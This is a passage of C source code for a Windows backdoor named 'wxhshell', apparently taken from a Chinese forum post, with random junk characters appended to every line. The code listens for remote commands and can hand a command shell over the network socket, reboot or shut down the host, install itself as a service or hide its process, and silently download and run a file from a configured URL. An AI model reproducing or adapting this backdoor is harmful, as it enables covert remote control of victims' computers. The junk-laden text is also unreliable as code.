  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yqs N#E3pf  
  else G[4TT#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S Rs~p  
  } i>!7/o  
  else { Nz`4q %+  
S<"M5e  
    switch(cmd[0]) { *I;,|Jjk  
  b#U nE  
  // 帮助 vn"2"hPF|  
  case '?': { SFrQPdX6V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E#t;G: +A  
    break; zzsQfI#  
  } v,Lv4)  
  // 安装 *vn^ W  
  case 'i': { 7cx~?xk <m  
    if(Install()) kTG4h@w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6X(Yv2X&4%  
    else 1JIL6w_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ("{JNA/  
    break;  zk8 o[4  
    } ZV}"k_+-  
  // 卸载 ^6!C":f  
  case 'r': {  laX(?{_  
    if(Uninstall()) NG-Wn+W@b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fY@Y$S`Fh  
    else `}:q@: %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cstSLXD  
    break; ,1'9l)zP  
    } }Z T{  
  // 显示 wxhshell 所在路径 $:M*$r^u  
  case 'p': { ta]B9&c  
    char svExeFile[MAX_PATH]; SVsLu2tVY  
    strcpy(svExeFile,"\n\r"); %"GF+  
      strcat(svExeFile,ExeFile); t0_o .S  
        send(wsh,svExeFile,strlen(svExeFile),0); uP<w rlW  
    break; l2uh"!  
    } (vm &&a@  
  // 重启 ugexkdgM  
  case 'b': { m9bR %j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &jCT-dj  
    if(Boot(REBOOT)) ;K<e]RI;?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F&US-ce:M  
    else { fUQuEh5_  
    closesocket(wsh); q[4{Xh  
    ExitThread(0); \F]X!#&+  
    } )(~s-x^\z@  
    break; [Nb0&:$ay  
    } `n%uvo}UT  
  // 关机 s(56aE  
  case 'd': { tydD~a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]H8CVue  
    if(Boot(SHUTDOWN)) UpL1C~&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BrYU*aPW;  
    else { ,4oYKJ$+h  
    closesocket(wsh); x2p}0N  
    ExitThread(0); 7%?2>t3~  
    } 7'wt/9  
    break; ~=hM y`Ml  
    } CJB   
  // 获取shell V4cCu~(3;~  
  case 's': { [+0rlmB  
    CmdShell(wsh); Va^Y3/  
    closesocket(wsh); Z;kRQ  
    ExitThread(0); V@gweci  
    break; F"2v5F@  
  } mdxa^#w  
  // 退出 p2T%Zl_  
  case 'x': { x`8rR;N!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H..g2;D  
    CloseIt(wsh); P3|_R HIb  
    break; 4\'1j|nS[  
    } pG?AwB~@n  
  // 离开 UhuEE  
  case 'q': { b%`^KEvwfo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UM$\{$  
    closesocket(wsh); pvL)BD  
    WSACleanup(); )N[9r{3  
    exit(1); A/n-.ci  
    break; i^j1 i  
        } 0$)CWah  
  } 2e_ssBbb  
  } WP)r5;Hv`  
D BDHe-1[+  
  // 提示信息 &YQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 40TS=evG  
} KL:x!GsV5e  
  } O@;;GJ  
=zw=J p  
  return; ~jdvxoX-  
} a12Q/K  
? b;_T,S[  
// shell模块句柄 (_S`9Z8=  
int CmdShell(SOCKET sock) x] [/9e  
{ ACQc 0:q  
STARTUPINFO si; mQ 1)d5  
ZeroMemory(&si,sizeof(si)); uC{qaMQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dQUZ11  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X0<qG  
PROCESS_INFORMATION ProcessInfo; P:GAJ->;]>  
char cmdline[]="cmd"; *^j'G^n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R`}C/'Ty  
  return 0; 7_Yxz$m  
} I&9_F% rX  
"YU<CO;4VV  
// 自身启动模式  8bQ\7jb  
int StartFromService(void) "`P/j+-rt  
{ `#O%ZZ+  
typedef struct ML6Y_|6 |  
{ H;('h#=cD  
  DWORD ExitStatus; U5X\RXy~  
  DWORD PebBaseAddress; *1F DK{  
  DWORD AffinityMask; ^%(HZ'$wC  
  DWORD BasePriority; f681i(q"  
  ULONG UniqueProcessId; (S1c6~  
  ULONG InheritedFromUniqueProcessId; on?<3eED  
}   PROCESS_BASIC_INFORMATION; +/u)/ey  
E`#m0Q(8  
PROCNTQSIP NtQueryInformationProcess; RLBeti>  
Z05kn{<a8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <9zzjgzG{c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *&$J.KM  
%UIR GI  
  HANDLE             hProcess; r)Q/YzXx*  
  PROCESS_BASIC_INFORMATION pbi; |C:^BWrU*  
Y ,1ZvUOB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y+il>.Z  
  if(NULL == hInst ) return 0; u6hDjN  
{ Ju  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z(Styn/x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a?Q\nu1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R*Jnl\?>@  
K9{3,!1  
  if (!NtQueryInformationProcess) return 0; aYTVYg  
^L}ICm_#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  "R8:s  
  if(!hProcess) return 0; @.IGOh  
w>-@h>Ln  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a7?z{ssEi  
&72 ( <  
  CloseHandle(hProcess); |'mwr!  
UC3&:aQ!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Mx F? I  
if(hProcess==NULL) return 0; Gn*cphb  
]=X6* E*/E  
HMODULE hMod; L{;Sc_  
char procName[255]; _=,\uIrk  
unsigned long cbNeeded; ,1xX`:  
=;9 %Q{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MW^(  
@Z0?1+k  
  CloseHandle(hProcess); EPEy60Rx5  
Fjnp0:p9X  
if(strstr(procName,"services")) return 1; // 以服务启动 Q]44A+M]  
;/ wl.'GA  
  return 0; // 注册表启动 X<:B"rPuK  
} N, `q1B  
-PfBL8  
// 主模块 54[#&T$S  
int StartWxhshell(LPSTR lpCmdLine) z1dSZ0NoA  
{ e}@VR<h  
  SOCKET wsl; VU8EjuOetb  
BOOL val=TRUE; #&v86  
  int port=0; F4M )x`  
  struct sockaddr_in door; zN3[W`q+m  
U}#3 LFr.?  
  if(wscfg.ws_autoins) Install(); %"<|u)E  
o%EzK;Df  
port=atoi(lpCmdLine); Q{+*F8%8V<  
4OX2GH=W  
if(port<=0) port=wscfg.ws_port; hc"l^a!7ic  
AN193o   
  WSADATA data; kSW=DE|#}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lzr&Q(mL  
F~bDA~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v,T :V#f^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DIqM\ ><  
  door.sin_family = AF_INET; |}^me7C,[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }I}/e v  
  door.sin_port = htons(port); a$=BX=  
Ux[2 +Cf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KjWF;VN*[3  
closesocket(wsl); 3(2WO^zX {  
return 1; I |PEC-(  
} vR"?XqgZ  
$7bLw)7  
  if(listen(wsl,2) == INVALID_SOCKET) { (-}:'5|Yj  
closesocket(wsl); GG0H3MSc  
return 1; 'iY~F0U  
} Zr(4Q9fDo  
  Wxhshell(wsl); ;s*   
  WSACleanup(); jF$bCbAUce  
z6IOVQ*r  
return 0; [Sr^CY P(  
<QuIXA  
} V8w7U:K  
8+f{ /  
// 以NT服务方式启动 rt rPRR\:"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } Z/[ "  
{ uOQ!av2"Rf  
DWORD   status = 0; RGu`Jk  
  DWORD   specificError = 0xfffffff; ]!c59%f=  
#!0=I s^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /b1+ ^|_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]iU8n (5f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )])nd "E  
  serviceStatus.dwWin32ExitCode     = 0; }}Zwdpo  
  serviceStatus.dwServiceSpecificExitCode = 0; |?cL>]t  
  serviceStatus.dwCheckPoint       = 0; =l)D$l  
  serviceStatus.dwWaitHint       = 0; *&vlfH  
1 5heLnei  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FmtgH1u:=  
  if (hServiceStatusHandle==0) return; I`~Giz7@  
^ABt g#  
status = GetLastError(); opXxtYC@  
  if (status!=NO_ERROR) )_&P:;N  
{ ndmsXls  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o5@d1A  
    serviceStatus.dwCheckPoint       = 0; Z bW!c1s{  
    serviceStatus.dwWaitHint       = 0; bcR";cE  
    serviceStatus.dwWin32ExitCode     = status; ]/9@^D}&  
    serviceStatus.dwServiceSpecificExitCode = specificError; x/pX?k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B_uhNLd  
    return; /~(T[\E<  
  } J9%I&lu/  
{xD\w^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A=Y A#0  
  serviceStatus.dwCheckPoint       = 0; ;tJ}*!z W  
  serviceStatus.dwWaitHint       = 0; .Ei#mG-=}&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }WA =  
} !.G knDT  
cMfJq}C<  
// 处理NT服务事件,比如:启动、停止 =Lh8#>T\h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n #l~B@  
{ rNK<p3=7)  
switch(fdwControl) \y(ZeNs  
{ Z<jC,r  
case SERVICE_CONTROL_STOP: %A3ci[$g  
  serviceStatus.dwWin32ExitCode = 0; )krBj F.$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B,q)<z6<  
  serviceStatus.dwCheckPoint   = 0; bhl9:`s  
  serviceStatus.dwWaitHint     = 0; qEvbKy}  
  { +=`*`eP:U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eP|_  
  } yMz dM&a!*  
  return; w61*jnvi@  
case SERVICE_CONTROL_PAUSE: WK.K-bd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; */APe #  
  break; p)qM{`]G\  
case SERVICE_CONTROL_CONTINUE: 1`sTGNo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0iAQ;<*xi  
  break; w)XnMyD(P  
case SERVICE_CONTROL_INTERROGATE: OcE,E6LD  
  break; e#AmtheZR  
}; XxYwBc'pc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hAV@/oQ  
} \>\_OfY1W  
Pil_zQ4  
// 标准应用程序主函数 !DM GAt\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o zMn8@R  
{ fB)S:f|  
7Y%Si5  
// 获取操作系统版本 K0{ ,*>C  
OsIsNt=GetOsVer(); n%ypxY0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >g;995tG  
+MtxS l  
  // 从命令行安装 7<*,O&![|  
  if(strpbrk(lpCmdLine,"iI")) Install(); JA$RY  
S-[S?&c`  
  // 下载执行文件 RhWW61!"  
if(wscfg.ws_downexe) { g5;Ig  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kxLWk%V  
  WinExec(wscfg.ws_filenam,SW_HIDE); `qV*R 2  
} FN<S agj  
l`A e&nc6  
if(!OsIsNt) { l[6lXR&|  
// 如果时win9x,隐藏进程并且设置为注册表启动 0m,q3  
HideProc(); `< 82"cAT{  
StartWxhshell(lpCmdLine); hK UK#xx  
} ?sW}<8\  
else Ov#G7a"  
  if(StartFromService()) d}2(G2z^  
  // 以服务方式启动 7lx]`u>  
  StartServiceCtrlDispatcher(DispatchTable); rhDiIO_  
else [;Jq=G8&t  
  // 普通方式启动 z?t75#u9.  
  StartWxhshell(lpCmdLine); 4iv&!hAc;  
zGwM# -  
return 0; oh7tE$"c  
}
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只看该作者 1 发表于: 2006-10-10
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